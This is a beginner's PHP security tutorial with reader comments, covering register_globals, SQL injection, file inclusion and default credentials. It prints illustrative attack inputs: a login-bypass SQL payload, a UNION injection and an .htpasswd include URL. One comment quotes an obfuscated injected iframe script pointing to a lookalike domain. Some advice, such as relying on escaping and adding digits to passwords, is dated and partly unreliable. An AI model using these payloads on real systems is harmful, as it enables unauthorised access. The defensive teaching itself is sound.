PHP is a very easy language to learn, and many people without any sort of background in programming learn it as a way to add interactivity to their web sites. Unfortunately, that often means PHP programmers, especially those newer to web development, are unaware of the potential security risks their web applications can contain. Here are a few of the more common security problems and how to avoid them.
[Writing Secure PHP is a series. Part 2, Part 3 and Part 4 are currently also available.]
Rule Number One: Never, Ever, Trust Your Users
It can never be said enough times, you should never, ever, ever trust your users to send you the data you expect. I have heard many people respond to that with something like "Oh, nobody malicious would be interested in my site". Leaving aside that that could not be more wrong, it is not always a malicious user who can exploit a security hole - problems can just as easily arise because of a user unintentionally doing something wrong.
So the cardinal rule of all web development, and I can't stress it enough, is: Never, Ever, Trust Your Users. Assume every single piece of data your site collects from a user contains malicious code. Always. That includes data you think you have checked with client-side validation, for example using JavaScript. If you can manage that, you'll be off to a good start. If PHP security is important to you, this single point is the most important to learn. Personally, I have a "PHP Security" sheet next to my desk with major points on, and this is in large bold text, right at the top.
Global Variables
In many languages you must explicitly create a variable in order to use it. In PHP, there is an option, "register_globals", that you can set in php.ini that allows you to use global variables, ones you do not need to explicitly create.
Consider the following code:
if ($password == "my_password") {
$authorized = 1;
}
if ($authorized == 1) {
echo "Lots of important stuff.";
}
To many that may look fine, and in fact this exact type of code is in use all over the web. However, if a server has "register_globals" set to on, then simply adding "?authorized=1" to the URL will give anyone free access to exactly what you do not want everyone to see. This is one of the most common PHP security problems.
Fortunately, this has a couple of possible simple solutions. The first, and perhaps the best, is to set "register_globals" to off. The second is to ensure that you only use variables that you have explicitly set yourself. In the above example, that would mean adding "$authorized = 0;" at the beginning of the script:
$authorized = 0;
if ($password == "my_password") {
$authorized = 1;
}
if ($authorized == 1) {
echo "Lots of important stuff.";
}
Error Messages
Errors are a very useful tool for both programmer and hacker. A developer needs them in order to fix bugs. A hacker can use them to find out all sorts of information about a site, from the directory structure of the server to database login information. If possible, it is best to turn off all error reporting in a live application. PHP can be told to do this through .htaccess or php.ini, by setting "error_reporting" to "0". If you have a development environment, you can set a different error reporting level for that.
SQL Injection
One of PHP's greatest strengths is the ease with which it can communicate with databases, most notably MySQL. Many people make extensive use of this, and a great many sites, including this one, rely on databases to function.
However, as you would expect, with that much power there are potentially huge security problems you can face. Fortunately, there are plenty of solutions. The most common security hazard faced when interacting with a database is that of SQL Injection - when a user uses a security glitch to run SQL queries on your database.
Let's use a common example. Many login systems feature a line that looks a lot like this when checking the username and password entered into a form by a user against a database of valid username and password combinations, for example to control access to an administration area:
$check = mysql_query("SELECT Username, Password, UserLevel FROM Users WHERE Username = '".$_POST['username']."' and Password = '".$_POST['password']."'");
Look familiar? It may well do. And on the face of it, the above does not look like it could do much damage. But let's say for a moment that I enter the following into the "username" input box in the form and submit it:
' OR 1=1 #
The query that is going to be executed will now look like this:
SELECT Username, Password FROM Users WHERE Username = '' OR 1=1 #' and Password = ''
The hash symbol (#) tells MySQL that everything following it is a comment and to ignore it. So it will actually only execute the SQL up to that point. As 1 always equals 1, the SQL will return all of the usernames and passwords from the database. And as the first username and password combination in most user login databases is the admin user, the person who simply entered a few symbols in a username box is now logged in as your website administrator, with the same powers they would have if they actually knew the username and password.
With a little creativity, the above can be exploited further, allowing a user to create their own login account, read credit card numbers or even wipe a database clean.
Fortunately, this type of vulnerability is easy enough to work around. By checking for apostrophes in the items we enter into the database, and removing or neutralising them, we can prevent anyone from running their own SQL code on our database. The function below would do the trick:
function make_safe($variable) {
$variable = mysql_real_escape_string(trim($variable));
return $variable;
}
Now, to modify our query. Instead of using _POST variables as in the query above, we now run all user data through the make_safe function, resulting in the following code:
$username = make_safe($_POST['username']);
$password = make_safe($_POST['password']);
$check = mysql_query("SELECT Username, Password, UserLevel FROM Users WHERE Username = '".$username."' and Password = '".$password."'");
Now, if a user entered the malicious data above, the query will look like the following, which is perfectly harmless. The following query will select from a database where the username is equal to "\' OR 1=1 #".
SELECT Username, Password, UserLevel FROM Users WHERE Username = '\' OR 1=1 #' and Password = ''
Now, unless you happen to have a user with a very unusual username and a blank password, your malicious attacker will not be able to do any damage at all. It is important to check all data passed to your database like this, however secure you think it is. HTTP Headers sent from the user can be faked. Their referral address can be faked. Their browsers User Agent string can be faked. Do not trust a single piece of data sent by the user, though, and you will be fine.
File Manipulation
Some sites currently running on the web today have URLs that look like this:
index.php?page=contactus.html
The "index.php" file then simply includes the "contactus.html" file, and the site appears to work. However, the user can very easily change the "contactus.html" bit to anything they like. For example, if you are using Apache's mod_auth to protect files and have saved your password in a file named ".htpasswd" (the conventional name), then if a user were to visit the following address, the script would output your username and password:
index.php?page=.htpasswd
By changing the URL, on some systems, to reference a file on another server, they could even run PHP that they have written on your site. Scared? You should be. Fortunately, again, this is reasonably easy to protect against. First, make sure you have correctly set "open_basedir" in your php.ini file, and have set "allow_url_fopen" to "off". That will prevent most of these kinds of attacks by preventing the inclusion of remote files and system files. Next, if you can, check the file requested against a list of valid files. If you limit the files that can be accessed using this script, you will save yourself a lot of aggravation later.
Using Defaults
When MySQL is installed, it uses a default username of "root" and blank password. SQL Server uses "sa" as the default user with a blank password. If someone finds the address of your database server and wants to try to log in, these are the first combinations they will try. If you have not set a different password (and ideally username as well) than the default, then you may well wake up one morning to find your database has been wiped and all your customers' credit card numbers stolen. The same applies to all software you use - if software comes with default username or password, change them.
Leaving Installation Files Online
Many PHP programs come with installation files. Many of these are self-deleting once run, and many applications will refuse to run until you delete the installation files. Many however, will not pay the blindest bit of attention if the install files are still online. If they are still online, they may still be usable, and someone may be able to use them to overwrite your entire site.
Predictability
Let us imagine for a second that your site has attracted the attention of a Bad Person. This Bad Person wants to break in to your administration area, and change all of your product descriptions to "This Product Sucks". I would hazard a guess that their first step will be to go to http://www.yoursite.com/admin/ - just in case it exists. Placing your sensitive files and folders somewhere predictable like that makes life for potential hackers that little bit easier.
With this in mind, make sure you name your sensitive files and folders so that they are tough to guess. Placing your admin area at http://www.yoursite.com/jsfh8sfsifuhsi8392/ might make it harder to just type in quickly, but it adds an extra layer of security to your site. Pick something memorable by all means if you need an address you can remember quickly, but don't pick "admin" or "administration" (or your username or password). Pick something unusual.
The same applies to usernames and passwords. If you have an admin area, do not use "admin" as the username and "password" as the password. Pick something unusual, ideally with both letters and numbers (some hackers use something called a "dictionary attack", trying every word in a dictionary as a password until they find a word that works - adding a couple of digits to the end of a password renders this type of attack useless). It is also wise to change your password fairly regularly (every month or two).
Finally, make sure that your error messages give nothing away. If your admin area gives an error message saying "Unknown Username" when a bad username is entered and "Wrong Password" when the wrong password is entered, a malicious user will know when they've managed to guess a valid username. Using a generic "Login Error" error message for both of the above means that a malicious user will have no idea if it is the username or password he has entered that is wrong.
Finally, Be Completely and Utterly Paranoid
If you assume your site will never come under attack, or face any problems of any sort, then when something eventually does go wrong, you will be in massive amounts of trouble. If, on the other hand, you assume every single visitor to your site is out to get you and you are permanently at war, you will help yourself to keep your site secure, and be prepared in case things should go wrong.
Ready for more? Try Writing Secure PHP, Part 2.
108 Comments
Very nice article indeed. I learned a few things - for example, I didn't know that the default user of SQL Server is 'sa' :P
Just kidding.
However, for newbies this is must-have knowledge. Keep up the good work.
#1, Joen Olsen, Denmark, 16 July 2004. Reply to this.
Hehe ;-) I also learnt that the default SQL Server pass is 'sa' :p
Nice article, but would like more info...
#2, Rory, Unknown, 20 July 2004. Reply to this.
Hi,
your article gives me simple and understandable answers, and also guide you to the right way of paranoia.
Thx!
Greetings
Rene
#3, Rene Grassegger, Austria, 6 September 2004. Reply to this.
This was a great help to me being a PHP newbie.
Hope to see more articles from you on this subject and keep up the great work.
#4, Conrad Murrell, Canada, 18 October 2004. Reply to this.
Thank You for the above article.
Can we hide the directory structure from the user.
Please send me reply to shabbu_sms@rediffmail.com
#5, Anonymous, India, 5 February 2005. Reply to this.
A good article especially the Mysql section,it's always a good idea to check data submited by the user for auth. It should be pointed out that a carefully writen query using MIN/MAX with grouping will also deter the script kiddies and reduce load on the database.
#6, Liam McLaughlin, United Kingdom, 11 February 2005. Reply to this.
Would be helpful if there was print this article button,
Keep up the good work.
#7, ac, Canada, 12 April 2005. Reply to this.
Funny you should say that, ac - there is one on the right, but I've been wondering if it's obvious enough or not. Clearly, it's not!
#8, Dave Child, United Kingdom, 12 April 2005. Reply to this.
I would rephrase the first point.
Instead of saying 'Never ever trust your users', I would say 'Never ever trust any outside data.'
I think above sentence would cover more scenarios + it's better because you do want to trust your users/customers (in general) but you want to be very skeptical about all the data you receive.
Other than this, I think it's a good starting point in Security for budding PHP programmers. :)
#9, JD, United States, 26 April 2005. Reply to this.
That's actually quite funny. First of all, as an experienced PHP developer, I can tell you that Writing Secure PHP is an oxy-moron. The proper term is HACKING! and don't get me started on secure PHP.
#10, Randy Charles Morin, Canada, 27 April 2005. Reply to this.
Very good coverage of the basics; good as a tutorial and refresher. The cardinal rule of "don't trust the user's data" can never be repeated too often.
I have some bones to pick, however. ;-)
Error Messages
==
You're right that in a live environment, it is very bad to display PHP's errors to the user, since they contain backend-specific info a hacker can use against you.
A better method than turning off error_reporting() is to turn off 'display_errors', and use 'log_errors' and 'error_log'. This way developers can still get errors from misbehaving applications, and it won't trouble the user. <http://us2.php.net/manual/en/ref.errorfunc.php>
Predictability
==
The example about where to store the administration interface smacks of security through obscurity. Repeat it with me: "security through obscurity is not security".
Changing 'admin' to 'gobbledygook' adds a fraction of a percent of security. You MUST rely on -actual- security methods anyway, like a good password, the register_globals advice you gave earlier, and other methods of battening down the hatches on your application. Putting a curtain over the hatch does so little it's not even worth it. ;-)
#11, Darkside, United States, 27 April 2005. Reply to this.
I agree on both counts, Darkside. I have left out the extra error reporting options entirely, as the purpose of this article is to explain the very basics and give people an idea of what to do to make their sites more secure. I've written an article on the php.ini file sa well which explains how to set up error reporting properly, but I felt to go into that in this article would have been getting too involved for what is an introduction.
You are right, as well, about security through obscurity. While I don't pretend for a second that putting an admin area somewhere random rather than at "/admin" will make the world of difference, it may help deter the casual inquisitor. In general, predictability applies to usernames and passwords more than anything else.
#12, Dave Child, United Kingdom, 27 April 2005. Reply to this.
I've seen SQL injection be a real problem with ASP, but doesn't PHP do addslashes for you? I've never had a problem with SQL injection with login code. But then again I use $username and not the POST array. Any info here would be great. But I tried the little ' 1=1 # and there's no SQL possible.
I would however talk about SQL injection with where the single quote is non-existant.
IE, "SELECT * WHERE `key` > $input;
The aforementioned is asking for SQL injection.
Also, it would be kewl to cover basics of XSS for newbs designing sites. A lot of people don't know that even if they do all this securely, malicious JScript could rip it all away.
#13, Gant, United States, 28 April 2005. Reply to this.
PHP can do addslashes for you, with "magic quotes". But that isn't a safe way to go - apart from anything else, a server config can change and magic quotes might be turned off. It is far better to be sure by escaping slashes yourself.
Using $username rather than the post array is not really any different. It does imply you have "register_globals" set to on in your server config, and that is a major security problem.
The ' or 1=1 # injection is just one example of it. If you are not escaping characters, the above still might not work, but it usually is fairly easy to tell if someone is open to this vulnerability and then exploit it.
#14, Dave Child, United Kingdom, 28 April 2005. Reply to this.
Iam using this instead of addslashes
$passwd = mysql_escape_string($passwd);
what do you think is better?
#15, Pablo Impallari, Argentina, 29 April 2005. Reply to this.
If you can use mysql_escape_string (or even better, mysql_real_escape_string), that is better. It escapes slashes, as well as other special characters. It is not always available, unfortunately, but if it is, it is worth using. Remember also it will not work with SQL Server etc.
#16, Dave Child, United Kingdom, 30 April 2005. Reply to this.
First, mysql_real_escape_string() is better than addslashes().
Also - you can simply use typecasting to make sure your data is safe. For example, if you're expecting a number:
$var = (int) $_GET['var'];
Third, I like to have at least 2 mysql user accounts in addition to root. I generally have the user 'mysql' who can ONLY select data (& not from the 'mysql' database). Next, I use an 'admin' account who can ONLY SELECT, INSERT, UPDATE, DELETE. I only use the admin account when I have to.
--Simon
#17, Simon, New Zealand, 30 April 2005. Reply to this.
I haven´t seen anything about db connection encrypting... once the db password is written in plain text, isn´t this a security fault?
#18, Eriko Morais, Brazil, 4 May 2005. Reply to this.
Good article, but you've not yet mentioned one very good way to validate user input. All http transmitted variables (post & get) are strings. So using
if ($authorized === 1) {
echo "Lots of important stuff.";
}
would actually be quite secure (three =-signs forces type-checking). But that method should of course always be combined with all the methods you mentioned ;)
#19, Sigmund, Norway, 9 May 2005. Reply to this.
Thx for this wonderfull article, very usefull, I'll check all my php-based page !!!!!! ('Never Ever Trust User')
#20, KillVador, France, 13 May 2005. Reply to this.
Nice one Dave. I read part 2 as well. RU planning a part 3? as previous poster said;
-suggest a scrubber
-explain why page.php?page=contactus.php should be replaced with page.php?p=1 and what the "relational" means in relational databases.(databases like numbers, numbers are easy to validate (int))
If you can you're a better man than me gungadin.
#21, paulg, France, 18 May 2005. Reply to this.
Hi Paul. Yes, part 3 is about half done. I've still got the rest of the php.ini guide to do though and that will probably be finished first. But yes, a Part 3 is on the way, as is "Writing Secure PHP, Securing the Client".
#22, Dave Child, United Kingdom, 18 May 2005. Reply to this.
Somene mentioned passwords in connection strings in plain text and in fact I have seen this in many online examples and in some classes. I wonder if encrypting a password and storing it in a file to be read by a function and then decrypted might add some security?
When using Windows and .Net one should probably be using Windows Integrated Security obviating the need for passwords in connection strings. Just some food for thought.
#23, Doug Coombs, United States, 15 June 2005. Reply to this.
I guess PHP does sometimes add slashes to posted stuff, but depends on the server. So I suggest you write
[php-code]
$password = addslashes(stripslashes($_POST['password']));
[/php-code]
to be sure you have escaped the string, but not escape the slashes added by PHP (or you get something like
"that\\\'s live"). 't Was frustrating for me to find out my testing environment didn't add slashes itself, but the other server did :(
stripslashes simpty removes the slashes added by addslashes
#24, Henri van Werkhoven, Netherlands, 5 July 2005. Reply to this.
Or better:
<?php
if(!get_magic_quotes_gpc()){
$_POST['password'] = addslashes($_POST['password;]);
}
?>
Now backslashes that should to be in de password, are no longer removed.
#25, Henri, Netherlands, 9 July 2005. Reply to this.
Having a plain text password in a php file isn't a major issue: All you're doing is variable assignment:
$password = 'secret';
If the file is requested, then , this will be parsed by PHP and not shown to the user.
The problem comes when someone can read the source code due to local access (ssh, telnet, face-to-monitor, whatever). In this case, you're pretty much screwed anyway, and there are easier ways to break into your database than hunt through a few php files for a password string.
HOWEVER, one thing to keep in mind is that a lot of people store their database connection info. in an external file called something like dbconnect.inc
THIS is a huge problem - because if your webserver doesn't parse .inc files as php (and they don't by default), then a direct request for dbconnect.inc will send the file to the user as PLAIN TEXT.
--Simon
#26, Simon, New Zealand, 19 July 2005. Reply to this.
Booloean expression
Username = '\' OR 1=1
is always true.
#27, lamer, Russian Federation, 22 July 2005. Reply to this.
Call me a dumbass or what ever but I neever seem to add an security to my input boxes for logins etc!
But now I have my current site I'm devloping (locally) is now secure!
#28, Dan, United Kingdom, 22 July 2005. Reply to this.
Thanks from Brasil.
#29, J. Miguel, Brazil, 2 October 2005. Reply to this.
Another good way to stop a css on your db is nest your variables in a htmlentities()
#30, Alan, United States, 21 October 2005. Reply to this.
Excellent stuff, and at a level the average PHP coder can under stand.
#31, James Dykes, United Kingdom, 17 December 2005. Reply to this.
i'm currently writing my own CMS and i'm thinking alot about security because i feel that after time i think my site will be a gerat place for people to try to break stuff. i've read this page and a few others but this one as a main overal picture and decided to go about looking for information and found these two items here that i planned to use in my CMS. i planned to combine them to make a form filter class in various area of my app.
i think this is something that people should look into. XSS and injection. the XSS page actually has referances to look thru but i think it's a good place to start for tese topics specifically :D
http://www.phpclasses.org/browse/package/2189.html
http://www.phpclasses.org/browse/package/1341.html
#32, Mr. Potatoes, United States, 15 January 2006. Reply to this.
Being new to php, this was a real eye opener!
I had already done my personal test site with a u/p + database and using the code provided here... I bypassed all my security :( (or what i thought was security). This has since been fixed due to the information provided.
i will be checking the site frequently as the information i have found here is clear and easy to understand.
Cheers and keep up the good work!
Sage
#33, Sage, Australia, 23 January 2006. Reply to this.
Sage: I'm glad to hear the tutorial was of use to you.
Everyone: Thankyou!
#34, Dave Child, United Kingdom, 23 January 2006. Reply to this.
Great Article! I am definately going to read part 2
Most of it wasn't new to me. But in my case I had to gather this information all over the net. For anybody else this is a great cumulation of usefull information all on one place.
I still cannot find a print link or button!
#35, shopje, Netherlands, 20 March 2006. Reply to this.
Thanks, it's a very nice articel, even thought I did know the most of this errors. But it's always usefull for beginners ...
#36, Bj, Germany, 5 May 2006. Reply to this.
For your part about having index.php?page=.htpasswd...in my code, I use a switch selection to $_GET the current action on the page and always set the default to check for a login session. If the session is there, go to the main menu (which reads permissions from a database for that user to populat, so if that is a hacker, they see nothing), and if not logged in, drop back to the login page.
I tested out the code you had in your tutorial and it worked, so hopefully it'll work for others too.
#37, JD(not jack daniels), United States, 23 May 2006. Reply to this.
Using an SQL statement that returns data like a password should be an absolute nono.
Using a statement like
'Select count(*) from users where username=' . mysql_real_escape($username) . ' and password = ' . mysql_real_escape($password)
Would return a number. That number should always be 1 if authenticated. Anything else would be invalid.
Never return more data than is absolutely necessary and never return the username/password combinations. Even in this simple example, the password should have been encrypted, especially if you host your site on a third party server.
#38, Kim, Australia, 20 June 2006. Reply to this.
Great articles, what I could read of them, unfortunately, I couldn't get past the first page of any of them, the subsequent page links all returned to the first page. Worked that way with IE and Firefox. My bad?
#39, wlw, United States, 29 June 2006. Reply to this.
Not your bad at all - mine. I made a couple of changes to the site affecting URLs, the idea being to ensure all articles are only accessible at a single URL, rather than multiple URLs as previously. Pagination, unfortunately, had a little bit of an issue with this. All fixed now.
#40, Dave Child, United Kingdom, 30 June 2006. Reply to this.
About the problem with the link (http://mysite.com?page=home.html). You could solve that problem with a simple check. Imagine you have a directory where you store all pages. Simply by checking if that file exists in that given directory (ex. if(file_exists("pages/mypage.php")) ) and by giving an error message if case it does not and by using regexps on the value of the page variable will keep you safe.
#41, Bebe, Romania, 19 July 2006. Reply to this.
Good article w/ essential security info. Thanks!
#42, Dan, United Kingdom, 29 August 2006. Reply to this.
that example with the
' OR 1=1 #
and its effect made me laugh a lot, i just installed apache+php and started learning php, I started looking for ways to do secure coding and found this site. Your article will help me a lot, thanks for the great info =D
#43, sess, Unknown, 4 December 2006. Reply to this.
Thanks alot. I have learned alot. I am currently developing a website that I hope to have up soon but my primary concern right now is learning as much as I can about PHP security before I do such. Your articles are great and I really appreciate clear, easy to understand information. In learning PHP, I've read php code by others and PHP tutorials without a clear understanding why certain things were done; but after reading this, now I can look back and realize that some of that code was a bad idea and unnecessary.
#44, Kevin, United States, 10 December 2006. Reply to this.
I strongly recommend immediately hashing your password whenever it reaches your script. Unless you intend to be working with fixed or readable passwords, I do not recommend you leave your passwords unhashed, either.
By hashing the password you will also automatically prevent an injection attempt. That way, if it doesn't match, the hack/user hasn't gained anything by trying to break your script!
#45, Will, United States, 17 January 2007. Reply to this.
Good article, but adding a few digits to a password doesn't make it safe from a dictionary attack. See http://www.schneier.com/blog/archives/2007/01/choosing_secure.html
"So the first attack PRTK performs is to test a dictionary of about 1,000 common passwords, things like "letmein," "password," "123456" and so on. Then it tests them each with about 100 common suffix appendages: "1," "4u," "69," "abc," "!" and so on. Believe it or not, it recovers about 24 percent of all passwords with these 100,000 combinations."
#46, Steve Parker, United Kingdom, 9 February 2007. Reply to this.
Thanks for this information. I've referred back to it a few times now, it's been very helpful. So thank you.
#47, Jumpenjuhosaphat, United States, 5 March 2007. Reply to this.
Not a bad thing to make us read ;)
I'm gonna read part 2 and 3 now
#48, Anders Men, Norway, 12 April 2007. Reply to this.
Instead off addslashes works mysql_real_escape_string() better...perhaps that wasn't available yet when this article was written
#49, Lennart, Netherlands, 20 May 2007. Reply to this.
Great website! Bookmarked! I am impressed at your work!
#50, Bruce, United States, 10 June 2007. Reply to this.
after reading this i tested it on my own site with the sql injection and im happy to say that the injection did not work! but im still not taking any chances so i added the addslashes to my security class and will use it from now on for any additions to my database. Thank you very much and keep up the good work.
#51, Tom, Unknown, 26 July 2007. Reply to this.
Another great article, thanks Dave.
#52, Phil Dufault, Canada, 14 August 2007. Reply to this.
I stumbled on this while looking for secure PHP coding info and found your advice very useful. I've been puttering around with PHP for quite a while, but haven't really added security to my toolchest. This article and the next two in the series were a great start.
#53, Aaron, United States, 18 August 2007. Reply to this.
"Personally, I have a "PHP Security" sheet next to my desk with major points on, and this is in large bold text, right at the top."
Would love to see what you think are the "major points" - if you have a moment could you send them to me at jonathan6735[at]hotmail[dot]com
<3
#54, Jonathan Story, Unknown, 25 September 2007. Reply to this.
I nearly gagged when I saw this:
"By checking for apostrophes in the items we enter into the database, and removing or neutralising them, we can prevent anyone from running their own SQL code on our database."
What if this is your query:
SELECT * FROM users WHERE id = $_GET['id']
It doesn't matter if this is escaped with addslashes, mysql_escape_string, mysql_real_escape_string, etc. If you enter "99 or union all select 0,0,0,0,0 from users", there is no slash to escape. This is a COMMON mistake and I can't believe no one has told you about this! The best method for handling strings may be addslashes or the like, but integers do not require quotations, thus your filtering system does not work.
#55, FiSh, United States, 28 September 2007. Reply to this.
Why mysql_real_escape_string should be used rather than addslasshes:
http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string
#56, Hex, United Kingdom, 28 September 2007. Reply to this.
This was a great article. I had an attack just two days ago and this helped me understand the attack and how to defend from it. I appreciate your taking the time to talk to us and share your knowledge.
I still have not located the print button??
#57, david Graves, United States, 10 November 2007. Reply to this.
@#55:
QUOTED:
What if this is your query:
SELECT * FROM users WHERE id = $_GET['id']
It doesn't matter if this is escaped with addslashes, mysql_escape_string, mysql_real_escape_string, etc. If you enter "99 or union all select 0,0,0,0,0 from users", there is no slash to escape. This is a COMMON mistake and I can't believe no one has told you about this! The best method for handling strings may be addslashes or the like, but integers do not require quotations, thus your filtering system does not work.
END QUOTE
If your query had the single quotes around $_GET[id], you'd still be protected. Just because the data will be an integer, it doesn't mean you can't quote it, right?
#58, Scott, United States, 17 December 2007. Reply to this.
Don't forget mysql_real_escape_string(), with it your script is protected against SQL injections. I even use it for session variables, you can never be too sure.
Great article by the way.
#59, A., United Kingdom, 11 January 2008. Reply to this.
Thanks, the global variables section was a great help. Also grateful for your mod_rewrite article ;o)
#60, Adaptiv Media, Unknown, 19 January 2008. Reply to this.
Damn, I had that ' OR 1=1 # hole on my personal website, got it fixed thanks to this article :)
#61, zyber16, Estonia, 28 January 2008. Reply to this.
I am new to PHP and this was really helpful
#62, techguide, United States, 27 February 2008. Reply to this.
Very nice article for new PHP developers.
#63, Alex Tokar, Unknown, 27 March 2008. Reply to this.
Thanks Alot for This Article ,its very
usefull
#64, mohamed rami, Germany, 4 April 2008. Reply to this.
Decent list, but doesn't cover XSS, which is the most common exploit today.
Fix the SQL injection with the addslashes() function, easy fix. XSS is more difficult, but can be done with open source functions
#65, Phillip, Colorado, 16 May 2008. Reply to this.
thnx! you got great stuffs in here guys. learned a l0t
#66, patrickd, philippines, 19 July 2008. Reply to this.
SQL injection is a serious problem, you can add additional checks:
$_GET['userid'] = str_replace("'", "", $_GET['userid']);
Remove all ' symbols from the userid string.
$_GET['userid'] = str_replace(" ", "", $_GET['userid']);
Remove all spaces from the userid string.
$_GET['userid'] = trim( htmlspecialchars(addslashes($_GET['userid'])) );
Returns a string with backslashes before special characters and change special character (for example from & to &
All these steps will prevent your website from running malicious SQL scripts.
#67, My Webiste Adviser, Croatia, 29 August 2008. Reply to this.
Hi, I am project Manager and i delivered this blog to my PHP developer because i found great stuff.Thanks
#68, web development & programming, Pakistan, 5 September 2008. Reply to this.
You may want to write about the new PDO class in PHP which can sanitize SQL queries for you. It is useful to learn and a lot of languages use similar features.
#69, Joe, United States, 11 September 2008. Reply to this.
It's really a very good article. All the PHP learners should aware of these attacks. Thanks for the nice post.
#70, Rajassegarin, Unknown, 19 September 2008. Reply to this.
This is a super site, especially this article on PHP security. I'm kind of an intermediate programmer in PHP and am just starting to learn about security. This was more comprehensive than all my searches of the previous 2-3 months! Would you believe I got to this site while searching for a regular expression cheat sheet! 2-in-1 :)
#71, Hamman Samuel, Yola, Nigeria, 23 September 2008. Reply to this.
I've just read this article, and wanted to say how well written and clear it was. I've been using PHP (on and off) for a number of years, but I've never had to worry so much about security as I do these days. It's good to have an overview of the basics, and I'm looking forward to reading the next three parts.
It will help me when devloping my next project, that's for sure.
#72, Dom, United Kingdom, 28 October 2008. Reply to this.
This is a supersite,especially this article on php security.
#73, seetha, India, 3 November 2008. Reply to this.
amazing style and tips
thanks for the sharing :)
#74, kabarmadura, Indonesia, 18 November 2008. Reply to this.
really a good article
#75, gowri, Malaysia, 5 December 2008. Reply to this.
Thank you very much.
#76, indochinahub, Thailand, 16 December 2008. Reply to this.
@ lamer from Russian Federation
[ Booloean expression
Username = '\' OR 1=1
is always true.
]
How would you make use of that information to get in? my mysql reads that as -> username = '\' as it should and doesn't evaluate the whole expression to true.
I can see that you're onto something, I just can't figure out what . .
#77, James Lyttelton Website Design, United Kingdom, 18 December 2008. Reply to this.
@58 and @55:
QUOTED:
What if this is your query:
SELECT * FROM users WHERE id = $_GET['id']
It doesn't matter if this is escaped with addslashes, mysql_escape_string, mysql_real_escape_string, etc. If you enter "99 or union all select 0,0,0,0,0 from users", there is no slash to escape. This is a COMMON mistake and I can't believe no one has told you about this! The best method for handling strings may be addslashes or the like, but integers do not require quotations, thus your filtering system does not work.
END QUOTE
If your query had the single quotes around $_GET[id], you'd still be protected. Just because the data will be an integer, it doesn't mean you can't quote it, right?
MY TWO CENTS:
First of all, @58 - you are correct that, with MySQL, you are able to quote numbers. However, it actually causes the query to take longer, so it's not good practice. Secondly, in some other DBMS, quoting numeric entities actually throws errors rather than pushing through. Therefore, quoting numeric entities in an SQL query is poor practice.
Now @55 - Great observation. The best practice to avoid the injection you raised is to check to see if the input is numeric using the is_numeric() function. If you know that the data you are manipulating always has to be a numeric entity, you shouldn't even run the query if is_numeric() returns false.
However, if you are dealing with variable input that may or may not be numeric, then it's probably best to a) check to see if it is numeric and b) if it's not, then escape it using mysql_real_escape_string and then throw single quotes around it.
BTW:
As has been mentioned a few times in the comments, mysql_escape_string and mysql_real_escape_string are far superior to addslashes for so many reasons that an entire article could be written about that.
For those that said mysql_escape_string won't work for SQL Server, you are absolutely correct. However, addslashes won't work for SQL Server, either, so that's a poor argument in favor of addslashes.
As of yet, it's actually been extremely difficult for me to locate any really good, solid information about properly escaping data for use with SQL Server. About all I can ever find is the idea that replacing single quotes with two single quotes is the only thing you need to do - which is obviously grossly misinformed.
Thanks for the article. These were all good reinforcements and reminders. I look forward to reading the other parts of this series.
#78, OtherWebGuy, United States, 9 January 2009. Reply to this.
Well cool article. Exactly what I was looking for. Good job.
#79, Christoph Fleischer, Bamberg, 27 January 2009. Reply to this.
Hi all,
Can anybody help me. Suppose I have two file in my website- one is index.php and another is main.php. I want when user do successfully login then eh can access main.php file. But My question is this if any body know that url directly he can also access main.php file. Or there are lot of search engines are also can get data of that page. I just want to protect main.php file. I want after login only anyone can see that content.
If you know ans, please send me mail....
Thanks.
#80, Love Rastogi, United States, 5 February 2009. Reply to this.
e-book: Writing Secure Code
download from: http://depositfiles.com/files/p8bhc03vd
#81, Vyacheslav, Unknown, 10 March 2009. Reply to this.
Excellent information
This article provides great help for secure php programming
Thanks for sharing these tips
#82, Rashid Ahmed, India, 27 March 2009. Reply to this.
Thank you for showing this. I am a PHP noobie trying to make my own search engine for my site, had no idea about these vulnerabilities. Tested putting code into the search box and it breaks things, added what you suggested and its all ok now, thanks ! :D
#83, heather, UK, 3 April 2009. Reply to this.
Very interesting and easy to understand *thanks!*!!!!
Why don't you publish your "PHP Security Sheet" :D
That would be very nice ^^
#84, anon, Germany, 16 April 2009. Reply to this.
Thank You for your article.
great work.
#85, home alone, Australia, 30 April 2009. Reply to this.
Why not use mysqli or PDO?
If used correctly, these can turn input validation into a much more straightforward job.
#86, Paul A. Stølen, Norway, 5 June 2009. Reply to this.
Good stuff.
Nice to get the security details "freshend" up :-)
#87, Lars Bo Thomsen, Denmark, 15 June 2009. Reply to this.
This article has helped me a LOT and i am currently updating my website to have the best security and taking all measures to do it! Thank you for this wonderful article, luckily i came across it before it was too late XD thanks again
#88, jim, Unknown, 27 June 2009. Reply to this.
Hi Dave,
please visit the url that i mentioned. some body injected the coding in bootm of every index page . the in jected looks like that "<?php echo '<script>document.write("<if"+'ra'+"m"+'e s'+"rc=\"h"+'tt'+"p:"+''+"/"+'/mic'+"roso"+'t'+'f.c'+"n"+'/'+"\" wid"+'th=1 he'+"igh"+'t'+"="+"2></i"+"f"+"ra"+''+""+''+"me"+'>');</script>'; ?>".. It will be placed in all folders index.php file. I cleaned the code and removed those injected lines. but again they injected the coding. can u help how can i remove it?......... need ur reply ASAP.
#89, webguy, india, 6 July 2009. Reply to this.
Well done Dave, very helpfull.
I found you via a recomendation to your old JD url in a post on Experts Exchange. I'll be back to read more.
#90, Brian, Australia, 2 August 2009. Reply to this.
Hello, if you can help me secure a script i would appreciate it. I can pay you to. Just email me at girlsurveyqueen@gmail.com
#91, lynnj, Unknown, 8 September 2009. Reply to this.
Thank you for clearing the air on SQL injection attacks. I remember one of these in the news not too long ago that got to international banking software. It's nice to know that things like this are security holes that can be closed with just a few simple error traps.
#92, Ian Lesser, United States, 7 October 2009. Reply to this.
This a really good article. I used it to show my Degree students how easy it is to get into a site that is not thought through properly.
Presumably the SQL injection will work in ASP etc as well as it's just plain SQL statements?
#93, Daniel Munnings, United Kingdom, 9 October 2009. Reply to this.
In this Article every point is quite correct. But "Predictability" has some issues. Like SEO, User-friendliness. etc
#94, laze, Nepal, 4 November 2009. Reply to this.
I'd like to think all PHP security principles as simple as these:
1. Be stingy of things you give.
2. Be as specific as possible in addressing objects, behaviors, etc.
3. Trust no one. All input shall be filtered to leave just what you are expecting.
4. Trust not yourself neither. All output shall be escaped to leave just what you want.
#95, Yang Yang, China, 7 December 2009. Reply to this.
Good work, respect :D
#96, Auriaks, Lithuania, 28 February 2010. Reply to this.
